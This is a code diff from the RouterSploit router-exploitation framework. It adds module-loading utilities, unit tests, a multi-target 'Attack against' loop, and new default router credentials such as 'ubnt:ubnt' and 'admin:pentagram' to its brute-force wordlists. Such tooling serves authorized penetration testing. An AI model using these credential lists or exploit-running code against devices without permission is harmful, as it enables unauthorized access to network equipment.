......@@ -181,4 +181,4 @@ class RoutersploitCompleterTest(unittest.TestCase):
)
if __name__ == '__main__':
unittest.main()
\ No newline at end of file
unittest.main()
from __future__ import print_function
from __future__ import absolute_import
import unittest
try:
import unittest.mock as mock
except ImportError:
import mock
from routersploit.utils import index_modules
class UtilsTest(unittest.TestCase):
@mock.patch('os.walk')
def test_load_modules_01(self, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']),
)
path = 'path/to/module'
modules = index_modules(path)
mock_walk.assert_called_once_with(path)
self.assertEqual(
modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit'
]
)
@mock.patch('os.walk')
def test_load_modules_import_error_02(self, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc', 'asmax_multi.py', 'asmax_multi.pyc']),
)
path = 'path/to/module'
modules = index_modules(path)
mock_walk.assert_called_once_with(path)
self.assertEqual(
modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit',
'exploits.asmax.asmax_multi',
]
)
if __name__ == '__main__':
unittest.main()
\ No newline at end of file
from __future__ import print_function
from __future__ import absolute_import
import threading
from functools import wraps
from distutils.util import strtobool
import os
import sys
import random
import string
import socket
from functools import wraps
from distutils.util import strtobool
import importlib
import requests
from .exceptions import RoutersploitException
from . import modules as rsf_modules
MODULES_DIR = rsf_modules.__path__[0]
print_lock = threading.Lock()
......@@ -19,6 +28,49 @@ colors = {
}
def index_modules(modules_directory=MODULES_DIR):
""" Return list of all exploits modules """
modules = []
for root, dirs, files in os.walk(modules_directory):
_, package, root = root.rpartition('routersploit/modules/'.replace('/', os.sep))
root = root.replace(os.sep, '.')
files = filter(lambda x: not x.startswith("__") and x.endswith('.py'), files)
modules.extend(map(lambda x: '.'.join((root, os.path.splitext(x)[0])), files))
return modules
def import_exploit(path):
""" Import exploit module
:param path: absolute path to exploit e.g. routersploit.modules.exploits.asus.pass_bypass
:return: exploit module or error
"""
try:
module = importlib.import_module(path)
return getattr(module, 'Exploit')
except (ImportError, AttributeError, KeyError) as err:
raise RoutersploitException(
"Error during loading '{}'\n\n"
"Error: {}\n\n"
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(humanize_path(path), err)
)
def iter_modules(modules_directory=MODULES_DIR):
""" Iterate over valid modules """
modules = index_modules(modules_directory)
modules = map(lambda x: "".join(['routersploit.modules.', x]), modules)
for path in modules:
try:
yield import_exploit(path)
except RoutersploitException:
pass
def pythonize_path(path):
""" Replace argument to valid python dotted notation.
......@@ -125,26 +177,26 @@ def multi(fn):
_, _, feed_path = self.target.partition("file://")
try:
file_handler = open(feed_path, 'r')
with open(feed_path) as file_handler:
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target,
self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
return # Nothing to return, ran multiple times.
except IOError:
print_error("Could not read file: {}".format(self.target))
return
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target, self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
file_handler.close()
return # Nothing to return, ran multiple times.
else:
return fn(self, *args, **kwargs)
return wrapper
......@@ -338,6 +390,9 @@ def http_request(method, url, **kwargs):
except requests.RequestException as error:
print_error(error)
return
except socket.error as err:
print_error(err)
return
except KeyboardInterrupt:
print_info()
print_status("Module has been stopped")
......
......@@ -160,12 +160,14 @@ admin:netadmin
admin:noway
admin:operator
admin:password
admin:pentagram
admin:pwp
admin:radius
admin:rmnetlm
admin:root
admin:secure
admin:setup
admin:sky
admin:smallbusiness
admin:smcadmin
admin:superuser
......@@ -384,6 +386,7 @@ topicalt:password
topicnorm:password
topicres:password
tw:tw
ubnt:ubnt
user:pass
user:password
user:public
......
......@@ -108,7 +108,6 @@ MPE
MServer
Manager
Master
Mau’dib
Menara
MiniAP
Multi
......@@ -146,6 +145,7 @@ RSX
SECURITY
SERVICE
SESAME
sky
SKY_FOX
SMDR
SSA
......@@ -388,6 +388,7 @@ password1
passwort
patrol
pbxk1064
pentagram
pento
pepper
permit
......@@ -479,6 +480,7 @@ truetime
trustno1
tslinux
tuxalize
ubnt
uplink
user
visual
......
......@@ -256,6 +256,7 @@ tiger
topicalt
topicnorm
topicres
ubnt
user
vcr
veda
......
#!/usr/bin/env python
#!/usr/bin/env python2
from routersploit.interpreter import RoutersploitInterpreter
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment